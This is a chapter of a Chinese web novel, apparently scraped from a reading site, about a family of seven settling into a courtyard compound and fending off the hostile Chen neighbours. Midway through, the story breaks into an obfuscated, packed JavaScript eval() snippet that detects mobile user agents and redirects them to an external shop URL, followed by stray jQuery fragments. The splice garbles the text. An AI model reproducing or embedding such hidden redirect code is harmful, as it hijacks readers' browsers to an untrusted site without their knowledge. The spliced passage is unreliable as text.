“大哥、小妹,小弟,你们受苦了啊!咱们以为大院新邻居都是讲理和善的,哪能想到骂人的话比掉进茅坑还臭,生生骂了你们四十五分钟!这四十五分钟意味着什么?是爸妈和我们当哥姐的无能,太窝囊了,被人骑到头上拉屎欺负自家孩子,兄弟姐妹!”

    “二妹,不止呢,小枝的手表被那坏老太撸走砸到地上了,我就不信大院那么多人看着,没有一个人没看到陈家那俩老货偷东西,难不成大家都瞧不起咱们,合起伙来欺负咱们外地乡下来的?”

    一家七口在外面抱作一团的时候快速交流信息,分开后骆椿哭得梨花带雨为兄弟姐妹抱不平。

    大院的人这个点差不多都回来了,不管男女老少看着这一家都觉得可怜,纷纷摇头否认大家欺负人,这家拿七个鸡蛋,那家拿一把菜的表示对大院新邻居入住的欢迎。

    知情的人七嘴八舌和大家说半晌午骆枝三兄妹和陈家老两口之间发生的事,大家伙纷纷觉得新来的邻居是教养极好,讲道理尊敬老人的。无奈老人缺德,趁着人家父母不在肆意欺辱,人家孩子费劲儿从独轮车往外拉人结果还被恩将仇报了。

    “我是咱们大杂院前院的管事大妈李翠花,咱们这儿的人都是和善人,实诚人!那老陈家从老到小都是没皮没脸的难缠泼皮货!咱们打不过啊!瞅瞅大家连上胳膊上被招呼的,全是红印子,以后啊,他们再敢欺负人,大家去轧钢厂找厂长去,让老陈一家子滚出大杂院!他陈老头是技术好,但做人不行!忍了这么多年谁也不会继续忍下去了。”

    “没错!大家伙别在外面站着了,来,帮咱们的新邻居搬家具,好家伙,这一车斗呢!家具做的真好。哥,能把这老师傅介绍给我吗?我马上结婚,准备打一套新家具!”

    上午帮着拦俩老货的李明顶着一张被挠花的脸,现在又热情帮忙搬家具,看到家具的成色,激动地搂住贺严的肩膀,哥俩好似的热聊。

    贺严和家人接触最多,在家具厂上班的时候,厂长从骆枝口中得知他是个哑巴,脑袋受过刺激没法和生人交流。有一层救命恩人的关系,厂长给他分配了一个单独的工作间,骆枝几兄妹轮流陪他上班,需要工作交流也是他们来。

    久而久之,贺严在媳妇儿和娃面前叽里咕噜没完,碰到外人完全是个社恐,李明突然的身体接触导致贺严一个应激,差点把他攮一拳。扭头看到他的花脸知道他是帮了自家娃的好人忍住冲动,黑眸盯着他,叽里咕噜一通。

    “小兄弟,你爸说啥呢?是你们老家的方言?”

    李明一头雾水又拽住这一家人里闷不吭声的骆林,被他黑漆漆的眼睛面无表情盯着,一米九几大个的他和一米六昳丽但阴沉的骆林面面相觑,等了好一会儿也没见这孩子开口,李明尴尬地咳嗽两声。

    “叔叔,我爸喉咙受伤了好几年说不了话,现在好一些了但说不利索,他是感谢你救了他的娃呢!这家具是我爸打的,之前他在老家县城的家具厂上班,是技术熟练的老师傅呢!叔叔要结婚打家具可以找他,你是好人,我们也是好人,我爸会给友情价的!”

    骆枝刚才没插手是想看看爸爸和三哥社恐孤僻的性子有没有好一点,现在看到三哥求救的眼神心软了,让大哥过去把他拉走,过来后把爸爸往妈妈身边一推,她口齿伶俐地与邻居寒暄,顺便谈生意。

    大院所有邻居出动帮忙搬家具,大家风风火火往里走,走到后院要路过陈家。陈家三兄弟憋屈了一下午等着骆枝一家来了算账呢,现在看到全大院的人都站在新邻居那边,合起伙来排挤他们,瞬间炸了。

    “我们是陈家的,新来的懂点事儿,最好当缩头王八,三天内在屋前给我们把房子加盖好,不然我们家和你们没完!厂里赔给你们的钱和手表呢?利索点掏出来,不然……”

    陈老三陈世吊儿郎当嘴里含着根烟,上下打量骆枝一家七口人,正要把被迫赔去的钱要回来,押着他们去派出所捞他们爸妈的时候,骆秋出手了,随意捡起一个树杈子,迅雷不及掩耳之势在三兄弟胳膊上各划了六七道,脸上也划了不少道。

    “你们敢动手?”

    “活该。”

    骆秋锐利满是冷意的视线扫过去,淡淡吐出两个字,见陈家三兄弟撸起袖子要动手,三下五除二把他们打趴下。

    大杂院的人看得既是目瞪口呆又是解气的,准备把骆枝五兄妹护在身后,省得陈家人又出阴招窜出来伤着他们,没想到五兄妹一溜烟儿站到骆秋身后,有人撑腰,那腰杆子都挺得要撅后去了。

    “为啥不动手?以为我们好欺负不成?小孩儿讲道理,讲不通道理自有我们爸妈的拳脚收拾你们!我被你们蛮横的爹妈打出血了。”

    “我被踹了两脚,还晕过去了!”

    “我以为我哥死了!”

    骆枝和骆松先后开口,骆枇叉着腰过去愤怒喊了一嗓子,现在一致对外,骆松翻了个白眼没收拾倒霉弟弟。

    “老三,你是咱家最讲道理的,你说陈家人招惹欺负咱们,老的不讲理,咱们忍了,找公安以平和方式处理,上梁不正下梁歪,小的该不该教训?”

    骆椿蹙眉,心疼地搀扶着两条胳膊包着纱布的骆枝在大家面前转一圈,走到陈家那三个被骆秋控制住的恶徒身边,使劲儿用脚撵他们的手指。敢得罪她们一家,骂她们是缩头王八,长得那么猥琐跑她跟前碍眼,真是欠教训!

    “该。”

    骆林知道一致对外的时候他不吭声,没有一点贡献,回到家被兄妹们揍的就是他,一个“该”说的跟前世他当县太爷判案似的正气凛然。

    骆秋把面前挡道的三兄弟踹到陈家敞开的屋里,腾出路来大家继续搬家具。

    “大哥,二哥,这新搬来的是硬茬子,咱们就这么忍了?”

    “不可能,这房子是一定要加盖的,不然大妹带着外甥回来住哪儿?那两口子身手厉害,咱们别硬碰硬,得慢慢计划。”

    “计划啥计划?找狗哥买点药,那女人长的美,脾气够辣,想必那事上带劲儿,到时候我好好教训……”

    陈老大陈样手摸着下巴笑的一脸淫.邪,陈老二陈仁和陈老三陈世低头不语,但嘴角也勾起笑来。

    门外,贺严耳朵动了动,在大家始料未及的时候一脚踹烂陈家的门,陈家桌上的水果刀飞到陈样的两腿间,就差四毫米的位置命中要害。

    “我,会盯着,你们。”

    一米九几,身形魁梧完全把门口的光线全部遮掩的贺严,一双野性难驯的黑眸盯着陈家三兄弟,那三人感觉自己被野狼盯上了,浑身瘫软哆嗦着嘴唇,等贺严转身离开,三人坐着的地方湿了一大滩,是被吓尿了。

    *

    一家人忙忙碌碌收拾了两个小时,新家收拾妥当。两间房,一间里侧是骆秋和贺严的卧室,中间用木头屏风隔开,外面是客厅和以前就隔出来的小厨房,另一间房放着三张刚组装好的上下铺,家里人多,但当前阶段买不起城里的大房子,骆枝形容,骆林在纸上画出来错层上下铺,都是隐私性极好的独立小空间,有床有柜子还有可折叠的小木桌。

    骆枇的床设计的矮一些,下铺是五个木柜,放当前季节大家穿不上的冬衣,其他衣服放在床铺小柜子里。靠窗户位置并排放着两张大书桌,五把椅子,书架钉在侧面墙上。

    五兄妹收拾完躺在各自床上舒展,突然听到客厅传来剁骨头的声音,家里吃肉不稀奇,大家从床上弹起,更关心的是其他事。

    “爸这剁骨头的动静估计全大院的人都疼听见,而且又要报废一块儿铁菜板了,谁招惹他了?”

    骆枝四人目光同时看向暴脾气的骆枇。

    “我真的要生气了!不是我!我最近没招惹爸!”

    骆枇气成河豚,大声为自己辩解,骆枝几个默契后仰,捂住被炸的嗡嗡的耳朵。<

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17744947|209246||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    /p>

    “等我掐指算一算……又是陈家人!真是狗胆包天居然敢琢磨着算计咱们家的妈,贺严同志的媳妇儿!扑哧,陈家三兄弟现在还双腿发软坐在地上大气不敢出呢,活该!该死的王八蛋们!等我吃饱饭,给大家好好唠唠陈家那些狗屁倒灶的事儿,接下来可有热闹瞧了,不用咱们出手,这家会自己作的一手好死!”

    陈家人在大家搬到新家第一天,老的小的过来添堵,哪怕没吃多少亏,还赢得了大院好名声,但大家都是记仇的性子,怎么可能轻易揭过?陈家人敢招惹他们就得百倍千倍的还回来!

    “三哥,旧手表我捡回来了,你修修给爸用,新的给咱妈,咱们用陈家人赔来的钱买材料组装几个怀表吧,小孩儿戴手表还是太扎眼了。”

    原本家里只有一块儿淘旧材料组装的表,因为骆枝要操心家里大大小小的事情,表一直是她戴着的。她觉得真是寒酸,但没办法,亏什么不能亏自己个儿的五脏庙,家里七口人造粮食造的快,他们要紧着攒钱买房子,还要留一部分急用的钱。

    赶巧了陈家俩老货起了坏心思,这下七口人都有表了,就算是旧的,得偷摸带也乐呵!早晚有一天家里成暴发户,人人都带劳力士!

    骆林点点头,把坏掉的手表拿过来,至于钱他是不拿的,他对钱不感兴趣。目前为止只对手表、收音机、车等各种现代事物感兴趣,可惜没有收音机和车给他拆开看看。

    五兄妹打算出房间悄悄,骆松推开一道门缝,被一阵强劲的精神力合回来,不过短短三秒功夫,他恰好看到骆秋同志揪住暴躁剁骨头的贺严同志的衣领,在他嘴上亲了一口。

    “……”

    “大哥,起开。”

    骆枇鄙夷地看着两个门都推不开的大哥,准备扒拉开他来推门,可惜他的精神气比起亲妈骆秋来说完全是小巫见大巫,越推不开他越跟牛犊子似的较劲,又是一道精神力扫过来,他瞬间头发根根竖起来成了暴躁小刺猬。

    “咱们五个里,只有这暴躁的小子是小屁孩儿,剩下的实际年龄都多大了,亲个嘴而已有啥稀罕的?还不让看!”

    骆枝听到大哥这话,目光扫过在这个时空过了六年眼神愈发清澈,这些年行为举止完全不像成年人,越活越倒退的哥哥姐姐们,长叹一声,伪幼崽终究成了真幼崽,包括她也不能幸免。

    这一世的爸妈真的把他们养的太好了,谁能想到当初互相防备相处生疏的陌生人在六年的时间里成了愈发亲密的一家人?

    “不对,这小子刚才看我这个大哥的眼神居然有鄙夷和嫌弃?他是不是刚才一致对外的时候说以为我死了?小枝,他在医院是不是还举着我的床摇来摇去,害我又晕又吐的?”

    不用骆枝说话,骆枇已经心虚地挠门想跑了,可惜门推不开,倒是骆秋的冰冷无情的话清晰传进来。

    “二十分钟后开饭。”

    五兄妹都知道骆秋这话的意思的这二十分钟由着林松教训弟弟,骆枝几人排排坐在椅子上看热闹。

    骆枇慌了,他在家人面前不会使用他的天生神力,顶着刺猬头在屋里上蹿下跳,骆枝和骆椿看到他不穿鞋就跳上骆松、骆林的床铺,眼瞅着要往她们的床铺逃窜,不约而同起身过去加入战局。

    “二姐、四姐,你们是来帮我的吗?你们真……”

    骆枇漆黑的眸子亮了,可惜下一秒他被脱了鞋子按在床上,屁股上被骆松揍了好几下,紧接着不停地挠他痒痒肉。

    “你们坏!和大哥一样坏!爸妈救我!哥哥姐姐合起伙来欺负我!这个家我没法待了,我要离家出走流浪去!”

    家里的房子被骆枇震天的大嗓门吼的抖了三抖,紧接着他的屁股又遭殃了,骆松拿着骆林递来的鸡毛掸子教训他。

    “呜呜呜,大哥,二姐,呜呜,三哥、四姐,我能在这个家待下去,我不离家出走,呜呜呜,小枇会当好弟弟的……”